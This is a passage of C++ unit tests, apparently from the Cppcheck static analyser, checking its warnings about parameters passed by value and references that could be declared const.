parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector 